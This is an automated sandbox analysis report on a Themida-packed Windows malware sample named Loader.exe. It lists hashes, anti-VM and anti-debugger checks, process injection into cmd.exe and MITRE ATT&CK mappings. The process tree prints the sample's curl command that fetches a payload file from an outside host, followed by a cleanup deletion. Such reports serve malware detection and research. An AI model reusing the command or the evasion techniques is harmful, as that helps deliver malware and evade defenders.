4b08cc716f6f89415e2dc85e3c4eb626fcb9b0697f1596d5a27482b5a40d3227

Analysis

max time kernel
28s
max time network
33s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
29-03-2023 23:36

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General

Target

Loader.exe
Size

3.3MB
MD5

aa27322c80872d70bcd3eabde5f88141
SHA1

daef906c51350e74bc7eeace80e35b1bb2e2f443
SHA256

4b08cc716f6f89415e2dc85e3c4eb626fcb9b0697f1596d5a27482b5a40d3227
SHA512

12ad87b7ab61c92246ddae74eaa62223be948b57abcea1024b21a63bc0e1e6db66c3d911bbe30c857426602436a2a92479323513f25df9b683cda127a84e594e
SSDEEP

49152:F/4780JJXqoYgkt9fT5mhaKG/iKz8Sn/Jypm+IUK7AYoL2ENttSIyUA8z/haouab:cfit/R6Kz8S0IjgvPxyfQ54Yfsxbhc

Score

9^/10

evasion themida trojan

Malware Config

Signatures

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

Loader.exe

description ioc process

Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Loader.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Loader.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Loader.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Loader.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Loader.exe

Themida packer 5 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
behavioral1/memory/1696-54-0x000000013F390000-0x000000013FCB5000-memory.dmp	themida
behavioral1/memory/1696-55-0x000000013F390000-0x000000013FCB5000-memory.dmp	themida
behavioral1/memory/1696-56-0x000000013F390000-0x000000013FCB5000-memory.dmp	themida
behavioral1/memory/1696-57-0x000000013F390000-0x000000013FCB5000-memory.dmp	themida
behavioral1/memory/1696-58-0x000000013F390000-0x000000013FCB5000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

Loader.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Loader.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

Loader.exe

pid process

1696 Loader.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Loader.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

Loader.exe

pid	process
1696	Loader.exe
1696	Loader.exe
1696	Loader.exe
1696	Loader.exe
1696	Loader.exe
1696	Loader.exe
1696	Loader.exe
1696	Loader.exe
1696	Loader.exe
1696	Loader.exe
1696	Loader.exe
1696	Loader.exe
1696	Loader.exe
1696	Loader.exe
1696	Loader.exe
1696	Loader.exe
1696	Loader.exe
1696	Loader.exe
1696	Loader.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

Loader.exe

description	pid	process	target process
PID 1696 wrote to memory of 588	1696	Loader.exe	cmd.exe
PID 1696 wrote to memory of 588	1696	Loader.exe	cmd.exe
PID 1696 wrote to memory of 588	1696	Loader.exe	cmd.exe
PID 1696 wrote to memory of 1004	1696	Loader.exe	cmd.exe
PID 1696 wrote to memory of 1004	1696	Loader.exe	cmd.exe
PID 1696 wrote to memory of 1004	1696	Loader.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\Loader.exe
"C:\Users\Admin\AppData\Local\Temp\Loader.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1696

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c curl --silent > OUTPUT.TXT https://auxy.gay/loader/loader.txt
2⤵
PID:588

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c del OUTPUT.TXT >NUL
2⤵
PID:1004

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/1696-54-0x000000013F390000-0x000000013FCB5000-memory.dmp

Filesize
9.1MB

Download
memory/1696-55-0x000000013F390000-0x000000013FCB5000-memory.dmp

Filesize
9.1MB

Download
memory/1696-56-0x000000013F390000-0x000000013FCB5000-memory.dmp

Filesize
9.1MB

Download
memory/1696-57-0x000000013F390000-0x000000013FCB5000-memory.dmp

Filesize
9.1MB

Download
memory/1696-58-0x000000013F390000-0x000000013FCB5000-memory.dmp

Filesize
9.1MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads